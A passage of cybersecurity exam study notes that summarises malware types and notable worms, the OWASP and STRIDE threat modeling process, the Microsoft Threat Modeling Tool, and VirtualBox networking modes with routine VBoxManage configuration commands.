Propagation	Places copies into programs or disk areas. Copies may be morphed to evade detection.
Triggering	Activated by system event (e.g. count of copies made, specific date) to deliver payload.
Execution	Payload runs - may be harmless (message) or destructive (delete files/programs).

- Boot sector infector: Infects master boot record or boot record; spreads on system boot.
- File infector: Infects executable files.
- Macro virus: Infects macro/scripting code in documents (Word, Excel, PDF). Platform-independent; easy to write; spreads via normal document sharing; not protected by standard file access controls.
- Multipartite virus: Infects multiple file types simultaneously.

- **Encrypted:** Encrypted virus: Encrypts its body with a random key stored with it; decrypts on execution. No constant bit pattern to scan.
- **Stealth:** Stealth virus: Explicitly hides from AV software; uses code mutation, compression, or rootkit techniques.
- **Polymorphic:** Polymorphic virus: Each copy is functionally equivalent but has a different bit pattern. Uses superfluous instructions, instruction reordering, or encryption with a mutating engine.
- **Metamorphic:** Metamorphic virus: Completely rewrites itself at each iteration using multiple transformation techniques. Can also change behavior, not just appearance.

Macro viruses infect active content in documents rather than executables. Particularly threatening: (1) platform-independent - works on any OS running the target application; (2) infects documents, not programs - most system input is document-form; (3) easily spread via email and normal file sharing; (4) not blocked by traditional file-system access controls; (5) easier to write than executable viruses.

Example: Melissa (1998) - spread via Outlook to first 50 address book contacts, infected global Word template, disabled macro security.

3.5 Propagation 2 - Worms (Vulnerability Exploit)

A worm actively seeks out machines to infect by exploiting software vulnerabilities. Each infected machine becomes an automated launching pad. Unlike viruses, worms are self-contained and do not need to attach to a host program.

- Email/IM: Emails itself or sends as attachment; executes on open/view.
- File sharing: Copies to removable media; executes via autorun or user action.
- Remote execution: Exploits flaw in network service to run itself on remote host.
- Remote file transfer: Copies itself via FTP/similar to remote host for user execution.
- Remote login: Logs into remote system and copies/executes itself.

Strategy	Description
Random	Probes random IP addresses. High traffic volume; may cause disruption before attack.
Hit-list	Attacker pre-compiles list of vulnerable hosts slowly (to avoid detection), then infects rapidly. Very short scanning period - hard to detect infection in progress.
Topological	Uses info on infected machine (host tables, address books) to find next targets.
Local subnet	Behind a firewall, looks for targets on its own LAN using subnet addressing.

Models worm spread like an epidemic: (1) Initial/exponential phase - one infected host infects two, each infects two more, etc.; (2) Middle/linear phase - worms start wasting time re-attacking already-infected hosts, growth rate slows but still rapid; (3) Slow finish - most vulnerable hosts infected, only hard-to-find hosts remain. Countermeasure objective: catch the worm in its slow start phase.

Worm	Key Facts
Morris (1988)	First significant worm. UNIX. Cracked passwords; exploited finger protocol bug; exploited sendmail debug trapdoor. Unintentionally widespread.
Melissa (1998)	Email worm + macro virus + Trojan hybrid. Word macro forwarded infected doc to first 50 Outlook contacts. 100,000+ computers in 3 days.
Code Red (2001)	Exploited IIS vulnerability. Random spread, then DDoS'd government website. 360,000 servers in 14 hours in second wave.

Nimda (2001)	5 propagation methods: email, Windows shares, web servers, web clients, backdoors left by Code Red II.
SQL Slammer (2003)	Extremely compact; infected 90% of vulnerable hosts within 10 minutes. Major internet congestion.
Conficker (2008)	Exploited Windows buffer overflow. Spread also via USB and network shares. Still common years later.
Stuxnet (2010)	Targeted Iranian nuclear centrifuges. 4 zero-day exploits. Deliberately slow spread to avoid detection. First known cyberwarfare weapon against physical infrastructure.
WannaCry (2017)	Ransomware worm. Exploited SMB vulnerability (EternalBlue). 150+ countries, hundreds of thousands of systems. Kill-switch domain accidentally activated by UK researcher.

-
- **Multiplatform:** Targets Windows, UNIX, mobile platforms, scripting environments.
 - **Multi-exploit:** Penetrates via web servers, browsers, email, file sharing, network apps.
 - **Ultrafast spreading:** Optimized scanning to find maximum vulnerable machines quickly.
 - **Polymorphic/Metamorphic:** Changing code to evade filters and detection.
 - **Zero-day exploit:** Uses unknown vulnerabilities for maximum surprise. 80 zero-days in 2021.
 - **Transport vehicles:** Worms carry additional payloads (DDoS bots, rootkits, spam engines, spyware).
-

Drive-by-download: Code on a compromised website exploits a browser/plugin vulnerability to install malware silently when the page is viewed. Does not self-propagate like a worm - waits for users to visit.

Watering-hole attack: Variant of drive-by targeting specific victims by compromising sites they are known to visit.

Malvertising: Attacker pays for ads placed on target websites; ads contain malware.

Hard to track; placed for only a few hours.

Clickjacking (UI redress attack): Uses transparent/opaque layers to hijack user clicks. User thinks they click legitimate content but activates attacker-controlled elements. Can also hijack keystrokes via stylesheets and iframes to steal passwords entered into fake invisible frames.

3.6 Propagation 3 - Trojans and Social Engineering

Trojans are programs that appear useful but contain hidden malicious functionality. They do not self-replicate. Three models: (1) performs original function PLUS additional malicious activity; (2) performs original function but modifies it maliciously; (3) completely replaces the original function with a malicious one. Some Trojans exploit software vulnerabilities to install automatically without user action. Example: Hydraq Trojan (Operation Aurora 2009) exploited IE vulnerability. Mobile phone Trojans primarily target Android (5 in 6 new phones). Distributed via app marketplaces. XcodeGhost (2015) - supply chain attack on Apple App Store apps via compromised Xcode.

3.7 Payload 1 - System Corruption

- **Data destruction:** Data destruction: Overwrites/deletes data when triggered. Example: Chernobyl virus (1998) - overwrote first MB of hard drive on April 26, 1999. 1 million+ computers affected.

- **Ransomware:** Ransomware: Encrypts user data; demands ransom for decryption key. PC Cyborg Trojan (1989) was first. Modern ransomware uses public-key cryptography. WannaCry (2017) encrypted specific file types and demanded Bitcoin. ~25% of all breaches in 2021.
- **Real-world damage:** Real-world damage: Stuxnet targeted Siemens ICS to drive centrifuges outside normal operating ranges - physical destruction. Chernobyl virus also tried to flash BIOS.
- **Logic bomb:** Logic bomb: Dormant code activates on predefined condition (date, file presence, user ID, software version). Example: Tim Lloyd (Omega Engineering) - cost employer \$10M, 41-month prison sentence.

3.8 Payload 2 - Attack Agent (Bots/Botnets)

A bot (zombie/drone) is malware giving the attacker remote control of an infected host. Hundreds or thousands of compromised systems form a botnet. Targets include PCs, servers, and embedded devices (routers, cameras). Targets integrity and availability.

Use	Description
DDoS attacks	Coordinated flood attacks causing loss of service to targets.
Email spam	Sends massive volumes of bulk email for phishing and malware distribution.
Spyware	Retrieves credentials, credit card numbers, bank details by monitoring keystrokes/traffic/screen.
Click fraud	Automatically clicks ads to earn money for attacker; manipulates polls/games.
File sharing	Hosts web/FTP server distributing malware or pirated content.
Spreading malware	Scans for and infects additional vulnerable systems.
Chatterbots	Connects to dating/chat rooms pretending to be human; gathers personal information.
Bitcoin mining	Uses compromised system resources to mine cryptocurrencies for attacker.

The C&C facility distinguishes a bot from a worm. Bots periodically contact a C&C server. Evolution: (1) IRC-based (early) - bots join a channel, treat messages as commands; (2) HTTP-based covert channels (modern); (3) Peer-to-peer control to avoid single point of failure. Anti-takedown techniques: Domain Generation Algorithms (DGA) - auto-generates massive numbers of domain names; fast-flux DNS - C&C IP changes every few minutes rotating through many bot proxies. Successful law enforcement takedowns require seizing or controlling all possible domain names.

3.9 Payload 3 - Information Theft

Targets confidentiality. Most common: credential theft for banking/gaming sites.

- **Keylogger:** Keylogger: Captures keystrokes. Filters output to return only data near keywords (login, password, paypal.com). Bypasses HTTPS by capturing before encryption. Response: graphical applets for password entry led to broader spyware.

- **Spyware:** Spyware: Broader monitoring - browsing history, webpage redirection to fake sites, dynamically modifying data exchanged between browser and target websites. Example: Zeus banking Trojan - steals credentials via keylogger and form capture.
- **Phishing:** Phishing: URL in spam email links to a fake login page mimicking a legitimate service. Claims urgent action needed. Mass-distributed via botnets.
- **Spear-phishing:** Spear-phishing: Highly targeted phishing. Attacker researches recipient specifically; email crafted with personal details. Used in industrial espionage and financial fraud. Much higher success rate than generic phishing.
- **Data exfiltration:** Data exfiltration: Unauthorised transfer of data from a system. Includes source code, hardware configs, diplomatic documents. Requires data-loss prevention (DLP) countermeasures monitoring network perimeter.

3.10 Payload 4 - Stealthing (Backdoors and Rootkits)

A secret entry point that bypasses normal security checks. Legitimate use: maintenance hooks during development. Malicious use: attacker plants code recognizing a special input sequence or user ID. Modern backdoors are typically network services listening on non-standard ports. WannaCry included such a backdoor.

A set of programs maintaining covert root/administrator-level access while hiding evidence of presence. With root access the attacker can add/change programs and files, monitor processes, capture network traffic, maintain persistent backdoor access. Hides by subverting OS mechanisms that monitor processes, files, and registries.

Type	Description / Detection Difficulty
Persistent	Activates each boot; stores code in registry or filesystem. Easier to detect via persistent storage scan.
Memory-based	No persistent code; dies on reboot. No file to scan - harder to detect while running.
User-mode	Intercepts API calls and modifies results (e.g. hides files from directory listing). Detectable from kernel level.
Kernel-mode	Intercepts native kernel APIs; removes malware processes from kernel process list. Three techniques: modify syscall table; overwrite syscall routines; redirect syscall table to attacker-controlled table.
Virtual machine-based	Installs lightweight hypervisor; runs target OS inside VM. Rootkit runs entirely below OS visibility - transparent to OS kernel.
External (UEFI/BIOS/SMM)	Located in BIOS, UEFI, or System Management Mode. Direct hardware access; invisible to OS. UEFI rootkit can download fresh payload from network on each boot - no file system trace. Hardware replacement may be required.

Detection: Network/host-based IDS for known rootkit signatures; behavior detection (system call interception patterns); file integrity checks comparing API-based scan vs. direct storage view (e.g. RootkitRevealer catches discrepancies hidden from API). If kernel-level or VM rootkit detected: full OS reinstall required. If UEFI rootkit: hardware replacement may be needed.

3.11 Countermeasures

- Policy: Basis for implementing preventative countermeasures.
- Awareness: User training to resist social engineering, phishing, Trojans.
- Vulnerability mitigation: Keep systems patched; set appropriate access controls.
- Threat mitigation: Technical detection, identification, and removal tools.

Requirement	Meaning
Generality	Handle wide variety of attacks.
Timeliness	Respond quickly to limit infection spread.
Resiliency	Resistant to evasion techniques.
Minimal DoS cost	Does not significantly disrupt normal operation.
Transparency	No modification to existing OS/apps/hardware required.
Global and local coverage	Handles both external and internal attack sources.

Generation	Approach
1st - Simple scanners	Match malware signatures (fixed bit patterns, wildcards). Also checks program length for changes. Limited to known malware.
2nd - Heuristic scanners	Rules rather than signatures. Looks for code fragments associated with malware. Integrity checking: encrypted hash appended to programs to detect modification.
3rd - Activity traps	Memory-resident programs that detect malware by its ACTIONS rather than structure. Identifies behaviors indicating malicious activity. Uses dynamic analysis.
4th - Full-featured packages	Combines scanning, activity traps, and access control. Limits malware's ability to penetrate and propagate. Defense-in-depth.

Runs potentially malicious code in an emulated sandbox or VM to monitor behavior safely. Detects encrypted, polymorphic, and metamorphic malware since code must unpack/decrypt itself to execute - unpacked code scanned for signatures or observed for behavior. Arms race: malware checks for sandbox; uses extended sleep; uses logic bombs checking for specific dates/system types.

- **Ingress monitors:** Ingress monitors: Located at network border. Uses anomaly or signature/heuristic approaches. Can include honeypots. Detects e.g. incoming traffic to unused local IP addresses.
- **Egress monitors:** Egress monitors: Detects scanning/suspicious outbound behavior; abnormally high email traffic (worm/spam); data exfiltration. Can rate-limit or block suspicious outbound traffic.

Gathers data from large numbers of host-based and perimeter sensors, relays to a central analysis system. Central system correlates data across multiple networks/organizations and returns updated signatures and behavior patterns. Specific example of a distributed intrusion prevention system (IPS) targeting malware.

3.12 Malware - Quick Reference

Concept	Key Exam Points
Virus vs Worm	Virus: parasitic, needs host program, user must execute infected file. Worm: self-contained, self-propagates, exploits network vulnerabilities automatically.
Virus vs Trojan	Virus: self-replicates. Trojan: does not replicate - looks useful but has hidden malicious function.
Polymorphic vs Metamorphic	Polymorphic: same function, different bit pattern each copy (mutation engine). Metamorphic: complete rewrite at each iteration; can change behavior too.
Phishing vs Spear-phishing	Phishing: mass-distributed, generic. Spear-phishing: targeted to specific individual using researched personal details - much higher success rate.
Bot vs Worm	Worm: self-propagates and self-activates. Bot: requires external C&C to activate/control.
Backdoor vs Rootkit	Backdoor: hidden entry point. Rootkit: comprehensive set of tools maintaining root access and hiding presence of attacker on system.
User-mode vs Kernel-mode rootkit	User-mode: modifies APIs - detectable from kernel. Kernel-mode: modifies kernel - AV runs above it and is subverted too.
Drive-by vs Watering-hole	Drive-by: opportunistic, anyone visiting compromised site. Watering-hole: targeted, attacker compromises sites specifically visited by intended victims.
APT	Advanced (custom tools) + Persistent (long-term) + Threat (organized, funded, capable). Uses zero-days, targets specific organizations. Harder to defend.
Ransomware	Encrypts files + demands payment. WannaCry 2017: SMB worm + ransomware combo. ~25% of breaches. Recovery via clean backups + incident response plan.

Logic bomb triggers	Date/time, file presence/absence, specific software version, specific user running application, disk capacity threshold.
4 AV generations	1=signature scanner, 2=heuristic+integrity check, 3=activity trap (behavior), 4=full package (scan+trap+access control).
Morris worm techniques	Password cracking (name permutations, 432 built-in passwords, dictionary), finger protocol bug exploit, sendmail debug trapdoor.
Stuxnet significance	4 zero-day exploits, targeted ICS (centrifuges), restricted spread to avoid detection, first cyberwarfare weapon vs physical infrastructure.

Threat Modeling

Threat modeling is a structured security process that identifies, quantifies, and addresses risks from an attacker's perspective — before the attacker does. It is a core part of the SDLC (Software Development Life Cycle). The output is a Threat Model document that guides development and security reviews.

Key insight: threat modeling looks at your system the way an attacker would, not a defender. Adding it early in the SDLC reduces remediation cost dramatically compared to finding issues post-deployment.

The 4-Step Threat Modeling Process (OWASP)

Every step is documented. The resulting document IS the threat model.

Step 1 — Scope Your Work (Decompose the Application)

Understand what you are working on. Gather information about the system and document it precisely.

- **Draw Data Flow Diagrams (DFDs):** Visualise how data moves through the system across trust boundaries.
- **Identify Entry Points:** Interfaces where an attacker could supply input or interact with the app.
- **Identify Exit Points:** Where data leaves the system — risk surface for XSS and info disclosure.
- **Identify Assets:** What needs protecting (user data, session tokens, DB access, code execution rights, reputation).
- **Define Trust Levels:** The access rights granted to each external entity (anonymous user, admin, DB process, etc.).
- **Document External Dependencies:** Servers, OS, firewalls, databases outside the dev team's control.

Note: 'Decompose the application' is consultant language. When doing continuous/agile work, think of it as 'threat modeling every story'.

Step 2 — Determine Threats

Use a structured threat categorization methodology. The standard is STRIDE (see below). Kill chains like MITRE ATT&CK are used for operational modeling.

- **STRIDE:** Applied per component and per data flow in the DFD.
- **Threat Trees:** One tree per threat goal, showing root causes (vulnerabilities) and paths an attacker takes.
- **Use/Abuse Cases:** Show how protective measures could be bypassed, or where they are missing entirely.

The DFDs from Step 1 identify the threat targets: data sources, processes, flows, user interactions.

Step 3 — Determine Countermeasures and Mitigation

Map a countermeasure to each identified threat. Threats with no countermeasure = vulnerabilities. Prioritise by risk.

Risk mitigation options:

Strategy	What It Means
Accept	Business impact is acceptable; document the decision and who accepted the risk
Eliminate	Remove the component that makes the vulnerability possible
Mitigate	Add controls/checks that reduce likelihood or impact (most common)
Transfer	Shift risk to insurer or customer (e.g., via contract, cyber insurance)

Step 4 — Assess Your Work

Verify completeness. You should have: (1) a diagram, (2) a threats list, (3) a controls/countermeasures list. All three must exist and be traceable to each other.

Threat Model Document — Key Components

A formal threat model document (waterfall/consultant style) includes all of the following. In agile settings, lighter versions are acceptable but the core elements still apply.

Component	Purpose / What to Document
Application Name / Version	Identifies what system is being modeled
Description	High-level summary of the application
Document Owner	Person responsible for the threat model doc
Participants	Who took part in the modeling exercise
Reviewer	Who signs off on the final model
External Dependencies	Systems outside the app boundary (DBs, OS, firewalls)
Entry Points	All interfaces where an attacker can interact or inject data
Exit Points	Where data leaves the system (risk: XSS, info disclosure)
Assets	What needs protecting: data, availability, execution rights
Trust Levels	Access rights granted to different roles/entities
Data Flow Diagrams (DFDs)	Visual representation of data movement and trust boundaries
Threat List (STRIDE)	Enumerated threats per component/flow
Countermeasures List	Controls mapped to each threat

Entry Points, Exit Points, Assets, and Trust Levels

Entry Points

Every interface an attacker can use to supply data or interact with the app. Each entry point is assigned an ID, name, description, and required trust level. Use major.minor notation for layered entry points (e.g. 1 = HTTPS port, 1.1 = main page, 1.2 = login page, 1.2.1 = login function).

Exit Points

Where data leaves the system. Exit points enable client-side attacks. Example: an error message on a login page (exit point) can reveal whether a username exists (account harvesting) or leak SQL exception details. Always consider what information exit points expose.

Assets

Things of value that need protection. Two types:

- **Physical assets:** User credentials, session tokens, personal data, DB access, source code.

- **Abstract assets:** System availability, organisational reputation, code execution rights.

Each asset gets an ID, name, description, and the trust levels required to access it.

Trust Levels

Represent the access rights granted to external entities. Cross-referenced with entry points and assets to define who can access what. Examples: Anonymous Web User, Authenticated User, Admin, DB Read User, DB Read/Write User, Web Server Process.

Data Flow Diagrams (DFDs)

DFDs are the visual backbone of threat modeling. They show how data flows through the application end-to-end, which components are involved, and where trust boundaries are crossed. They are hierarchical: a high-level DFD scopes the system; lower-level DFDs drill into subsystems.

Symbol	Name	Description
Rectangle / Square	External Entity	Anything outside the app that interacts with it (user, external service)
Circle / Rounded box	Process	A task that handles or transforms data
Double circle	Multiple Process	Collection of sub-processes; can be expanded into its own DFD
Two parallel lines	Data Store	Where data is stored (DB, file, cache). Does NOT modify data.
Arrow	Data Flow	Movement of data; arrow direction shows flow
Dashed line	Trust / Privilege Boundary	Where trust level changes (e.g., internet vs. internal network)

Trust boundaries (dashed lines) are the most important feature for threat identification: every time data crosses a trust boundary, threats must be re-evaluated. Boundary examples: internet -> DMZ, DMZ -> internal network, user input -> application logic, application -> database.

STRIDE — Threat Categorisation Model

STRIDE is a mnemonic for the six categories of threats. For every component and every data flow in the DFD, you ask: which STRIDE threats apply here? This ensures systematic coverage rather than ad-hoc guessing.

STRIDE Type	Description / Attack Goal	Security Property	Mitigations
Spoofing	Impersonating another user or process (e.g., stealing credentials, forging identity)	Authentication	Strong auth, MFA, protect secrets, don't store plaintext passwords
Tampering	Maliciously modifying data in transit or at rest	Integrity	Authorization, HMAC/MACs, digital signatures, tamper-resistant protocols, hashing

STRIDE Type	Description / Attack Goal	Security Property	Mitigations
	(e.g., DB records, API payloads)		
Repudiation	Performing an action and denying it later; system lacks ability to trace operations	Non-Repudiation	Digital signatures, timestamps, immutable audit logs
Information Disclosure	Reading data one shouldn't access — files, DB rows, data in transit	Confidentiality	Authorization, encryption, TLS, privacy-enhanced protocols, don't store secrets
Denial of Service	Preventing legitimate users from accessing the system (e.g., crashing, flooding)	Availability	Auth, authorization, rate limiting/throttling, filtering, Quality of Service
Elevation of Privilege	Gaining higher access rights than intended (e.g., admin from a user account)	Authorization	Run with least privilege, role-based access control, input validation

Memory trick: S-T-R-I-D-E maps to the six broken security properties — Auth, Integrity, Non-Repudiation, Confidentiality, Availability, Authorisation.

STRIDE is attacker-goal oriented. Compare with MITRE ATT&CK which is attacker-technique oriented (more useful for operational/incident response modeling).

Threat Analysis and Risk Ranking

Threat Analysis Process

1. For each component/flow in the DFD, evaluate all applicable STRIDE threats.
2. For each threat, build a threat tree: identify the attack path, root cause vulnerabilities (why it can be exploited), and required countermeasures.
3. Use use/abuse cases to validate whether protective measures can be bypassed.
4. Final output: a typed threat list (by STRIDE category) with root causes and mitigations for each.

Risk Ranking

Not all threats are equal. Rank threats by risk to prioritise remediation. Use qualitative values (High/Medium/Low) rather than numerical scores like DREAD — pure numbers create false precision and subjective results.

Risk Factor	Key Questions / Considerations
Likelihood	Can it be exploited remotely? Auth required? Can exploit be automated?
Damage Potential	Full system takeover? Admin access? Crash? Sensitive data exposed?
Affected Scope	How many components/layers can be impacted?
Ease of Discovery	How easy is it to find the vulnerability?

Risk Factor	Key Questions / Considerations
Ease of Exploit	How easy is it to actually execute the attack?

Countermeasures and Threat Status

After identifying threats, map a countermeasure (security control or policy) to each one. Threats with no countermeasure = active vulnerabilities.

Threat Mitigation Status

Status	Meaning
Non-Mitigated	No countermeasure exists; fully exploitable; highest priority to fix
Partially Mitigated	Some controls exist but threat still partially exploitable
Fully Mitigated	Appropriate countermeasures in place; no exposed vulnerability

STRIDE Mitigation Quick Reference

See the STRIDE table above for full mitigations. Summary:

- **Spoofing:** Strong authentication, MFA, protect secrets.
- **Tampering:** Authorisation, digital signatures, HMAC, tamper-resistant protocols.
- **Repudiation:** Digital signatures, timestamps, audit logs.
- **Info Disclosure:** Encryption, authorisation, TLS, do not store secrets.
- **DoS:** Rate limiting, throttling, filtering, quality of service.
- **Elevation of Privilege:** Least privilege, RBAC, input validation.

Threat Modeling and Code Review

Threat modeling is not code review, but it powerfully complements it. When performed early in the SDLC:

- **Gives reviewers context:** Entry points, trust boundaries, and high-risk flows are documented — reviewers know WHERE to look.
- **Depth-first review:** Instead of equal-focus review of all code, reviewers prioritise components where threat modeling flagged higher-risk threats.
- **Retroactive use:** On existing applications without earlier threat models, threat modeling still clarifies complexity and reduces review surface.

Microsoft Threat Modeling Tool (MS TMT)

The Microsoft Threat Modeling Tool (free download, released as GA September 2018) is a graphical tool that implements the SDL threat modeling process. It auto-generates STRIDE-based threats from a drawn DFD diagram. It is the practical tool used alongside the theory above.

Key Features and Components

Feature / Component	What it Does
Create a Model	Opens blank canvas; must select a template first
Azure Threat Model Template	Azure-specific stencils, threats, and mitigations. Default for cloud work.
SDL TM Knowledge Base	Generic (non-Azure) threat model template
Trust Boundaries (red dotted lines)	Drawn on the DFD to show where different entities are in control
External Entity (square)	Entities outside the system (e.g. human users, third-party services)
Process (circle)	Software processes that handle data
Data Store (parallel lines)	Databases, files, caches
Analysis View	Auto-generates STRIDE-based threats from the diagram
Threat Properties Window	Shows title, category, description, interaction, and priority for each threat
Status Field	Not Started / Needs Investigation / Mitigated / Not Applicable
Reports -> Create Full Report	Exports a complete threat model report (shareable PDF/Word)
OneDrive Integration	Save/share .tm7 model files with your team

Workflow in MS TMT

1. Launch the tool. Select a template (Azure Threat Model Template or SDL TM Knowledge Base).
2. Draw your DFD: place External Entities (squares), Processes (circles), Data Stores (parallel lines), and connect them with Data Flows (arrows). Add Trust Boundaries (red dashed lines) around components that share a trust level.
3. Switch to Analysis View (file + magnifying glass icon). The tool auto-generates a list of STRIDE threats based on your diagram.
4. Work through each threat: review the Threat Properties window (title, category, description, interaction, priority). Add notes in the justification field. Set the Status (Not Started / Needs Investigation / Mitigated / Not Applicable).
5. Generate a report: Reports -> Create Full Report. Save and share via OneDrive or export.
6. Hold threat modeling meetings: (a) walk the team through the diagram and process, (b) review threats and sign off. Check the model into source control alongside the code.

Templates in Detail

- **Azure Threat Model Template:** Contains Azure-specific stencils (Blob Storage, Key Vault, App Service, etc.), pre-mapped threats, and Azure documentation links in each mitigation. Use this for cloud/Azure work.
- **SDL TM Knowledge Base:** Generic template for non-Azure systems. Fewer stencil choices but still full STRIDE threat generation.
- **Custom Templates:** Can be built from scratch or forked from existing ones. Community templates available on GitHub ([microsoft/threat-modeling-templates](https://github.com/microsoft/threat-modeling-templates)).

Thinking About Assets in MS TMT

The tool does not require you to start with assets. You can start from: (a) the software/system design (DFD-first), (b) attacker perspective (who attacks and how), or (c) assets (what needs protecting). All three approaches are valid. The tool's workflow is DFD-first because software engineers understand their system design better than abstract asset classification.

Connections and Key Relationships

- **STRIDE <-> DFD:** STRIDE is applied to every element in the DFD — each process, data store, data flow, and trust boundary crossing gets its own STRIDE analysis.
- **STRIDE <-> Countermeasures:** Each STRIDE category has a mapped security property and canonical mitigations (see STRIDE table). Knowing the category tells you what class of control is needed.
- **Entry Points <-> Trust Levels:** Every entry point specifies which trust levels are allowed. This determines who can reach what.
- **Assets <-> Trust Levels:** Every asset specifies the trust level required to access it. Cross-referencing these two tables reveals privilege escalation risks.
- **DFD Trust Boundaries <-> Threats:** Every trust boundary crossing is a potential threat vector. MS TMT automatically flags threats at boundaries.
- **Threat Trees <-> Risk Ranking:** Threat trees expose root cause vulnerabilities; risk ranking determines which root causes to fix first.
- **Threat Model <-> Code Review:** The threat model document tells code reviewers where to focus. High-risk entry points and trust boundary crossings get depth-first review.
- **MS TMT <-> OWASP Process:** The tool implements the same 4-step process: diagram (Step 1), auto-generated STRIDE threats (Step 2), mitigation notes and status (Step 3), sign-off meeting (Step 4).

Exam Quick Reference — Key Terms

Term	One-Line Definition
Threat Modeling	Structured process to identify, rank, and address security threats from an attacker's perspective
SDLC	Software Development Life Cycle — threat modeling should be integrated from the start
STRIDE	Spoofing, Tampering, Repudiation, Info Disclosure, Denial of Service, Elevation of Privilege — 6 threat categories
DFD	Data Flow Diagram — visual map of data movement, components, and trust boundaries
Trust Boundary	Where trust level changes in a system; every crossing is a potential threat point
Entry Point	Interface where an attacker can interact with or supply data to the application
Exit Point	Where data leaves the system; risk of XSS, info disclosure, account harvesting
Asset	Anything of value that needs protecting (data, availability, execution rights, reputation)

Term	One-Line Definition
Trust Level	Access rights granted to a specific external entity or role
External Dependency	Systems outside the app/dev team's direct control (OS, firewall, DB server)
Threat Tree	Diagram showing how a threat can be realised: attack path, root cause, mitigations
Use/Abuse Case	Scenario showing how protective measures can be bypassed or are absent
Countermeasure	Security control or policy that mitigates a specific threat
Risk = Likelihood x Impact	Qualitative model: High/Medium/Low for each factor, avoiding false precision
DREAD	Older Microsoft numerical risk model (Damage, Reproducibility, Exploitability, Affected, Discoverability) — largely replaced by qualitative models
MITRE ATT&CK	Technique-based attack framework; used in operational/incident threat modeling
SDL	Microsoft Security Development Lifecycle — threat modeling is a core SDL activity
MS TMT	Microsoft Threat Modeling Tool — free GUI tool that auto-generates STRIDE threats from a DFD
Azure Threat Model Template	MS TMT template with Azure-specific stencils and mitigations
Not Applicable (status)	Threat exists in theory but does not apply due to existing mitigations or design
Depth-first code review	Review high-risk areas (flagged by threat model) more intensively than low-risk code

CYBERSECURITY — OPEN BOOK EXAM REFERENCE

Module 1 · Full Coverage · Ctrl+F Optimised

VirtualBox provides up to **8 virtual NICs** per VM. 4 configurable via GUI; all 8 via VBoxManage. Default adapter: **AMD PCNet FAST III**. Best performance: **virtio-net** (paravirtualized, skips hardware emulation — needs virtio drivers, Linux 2.6.25+, Windows 2000/XP/Vista). Jumbo frames (>1500 bytes): only Intel + Bridged. Not supported with AMD — silently dropped.

1.1 Networking Modes — Connectivity Matrix

Mode	VM→Host	Host→VM	VM↔VM	VM→Net	Net→VM	Key Use Case
NAT (default)	Yes	Port Fwd	No	Yes	Port Fwd	Simplest; VM gets 10.0.2.x; invisible from outside
NAT Network	Yes	Port Fwd	Yes	Yes	Port Fwd	Like NAT but VMs talk to each other
Bridged	Yes	Yes	Yes	Yes	Yes	VM gets real LAN IP; fully visible on network
Internal	No	No	Yes	No	No	VM-to-VM only; host CANNOT see traffic
Host-Only	Yes	Yes	Yes	No	No	VM+host only; no internet; default 192.168.56.0/21
Not Attached	—	—	—	—	—	Cable unplugged simulation
Cloud	Yes	—	—	Yes	—	Connects VM to Oracle Cloud subnet

1.2 NAT Mode — Key Facts

Property	Value
VM IP (1st adapter)	10.0.2.x (DHCP)
Host loopback (from VM)	10.0.2.2
Default gateway (VM)	10.0.2.2
DNS	10.0.2.3
2nd adapter subnet	10.0.3.x
Internet from VM	Yes (outbound)
Inbound to VM	Only via Port Forwarding
VM-to-VM	No (use NAT Network)
ICMP/ping	Usually works; traceroute unreliable
GRE/PPTP VPN	Not supported
Ports <1024 on Linux host	Requires root; VM refuses to start if not root
Promiscuous mode	Not supported in regular NAT

Port Forwarding (NAT):

```
VBoxManage modifyvm "VM" --nat-pf1 "guestssh,tcp,,2222,,22" — forward host:2222 → guest:22
```

```
VBoxManage modifyvm "VM" --natpf1 delete "guestssh" — remove rule
```

```
VBoxManage modifyvm "VM" --nat-pf1 "guestssh,tcp,127.0.0.1,2222,,22" — restrict to localhost only
```

1.3 NAT Network Commands

```
VBoxManage natnetwork add --netname natnet1 --network "192.168.15.0/24" --enable --dhcp on
```

```
VBoxManage natnetwork start/stop/remove --netname natnet1
```

```
VBoxManage list natnetworks
```

```
Port fwd in NAT Network: VBoxManage natnetwork modify --netname natnet1 --port-forward-4 "ssh:tcp:[]:1022:[192.168.15.5]:22"
```

1.4 Bridged / Internal / Host-Only — Key Facts

Mode	Host sees traffic?	Physical NIC?	Traffic sniffable?	Notes
Bridged	Yes	Yes (required)	Yes (Wireshark on host)	VM gets real DHCP IP; wireless = only IPv4/IPv6
Internal	No	No	No	Private VM-to-VM; name-based; Linux: same UID by default
Host-Only	Yes	No (virtual loopback)	Yes	IP range 192.168.56.0/21; custom: /etc/vbox/networks.conf; max 128 inter

Host-only custom IP range (Linux/macOS/Solaris) — /etc/vbox/networks.conf:

```
* 10.0.0.0/8 192.168.0.0/16 or * 0.0.0.0/0 :::/0 (allow all)
```

1.5 Performance Ranking

Priority	Adapter	Attachment	Notes
1 – Best	virtio-net	Any	Segmentation + checksum offload; needs virtio drivers
2	Intel PRO/1000	Any	Also supports seg. offload; best for Windows Vista+
3 – Fallback	PCNet (AMD)	Any	No segmentation offload
Fastest attach	Any	Internal ≈ Bridged ≈ Host-Only	Packets stay in software switch
Slowest attach	Any	NAT	Address translation overhead
Windows XP	Neither virtio/Intel PRO/1000	1000 support seg. offload	See MS KB 842264

Priority	Adapter	Attachment	Notes
More CPUs	Does NOT improve	—	May hurt performance due to concurrency

Promiscuous mode (Wireshark): available on NAT Network, Bridged, Internal, Host-Only. NOT on regular NAT.

ethtool <interface> — check/modify segmentation offloading on Linux guests

1.6 Bandwidth Limiting

```
VBoxManage bandwidthctl "VM" add Limit --type network --limit 20m
VBoxManage modifyvm "VM" --nicbandwidthgroup1 Limit
VBoxManage bandwidthctl "VM" set Limit --limit 100k (change while VM is running)
```

Note: Bandwidth shaping is TRANSMIT direction only — received traffic is NOT limited.

1.7 VBoxManage Quick Reference

Task	Command
List all VMs	VBoxManage list vms
List running	VBoxManage list runningvms
Start VM	VBoxManage startvm "VM name"
Save state	VBoxManage controlvm "VM" savestate
Power off	VBoxManage controlvm "VM" poweroff
Set NAT	VBoxManage modifyvm "VM" --nic1 nat
Set Bridged	VBoxManage modifyvm "VM" --nic1 bridged --bridgeadapter1 eth0
Set Host-Only	VBoxManage modifyvm "VM" --nic1 hostonly
Set Internal	VBoxManage modifyvm "VM" --nic1 intnet --intnet1 mynet
Set RAM	VBoxManage modifyvm "VM" --memory 4096
Set CPUs	VBoxManage modifyvm "VM" --cpus 2
Take snapshot	VBoxManage snapshot "VM" take "snap-name"
Restore snapshot	VBoxManage snapshot "VM" restore "snap-name"
Create NAT net	VBoxManage natnetwork add --netname mynet --network 192.168.15.0/24 --enable
List NAT nets	VBoxManage list natnetworks

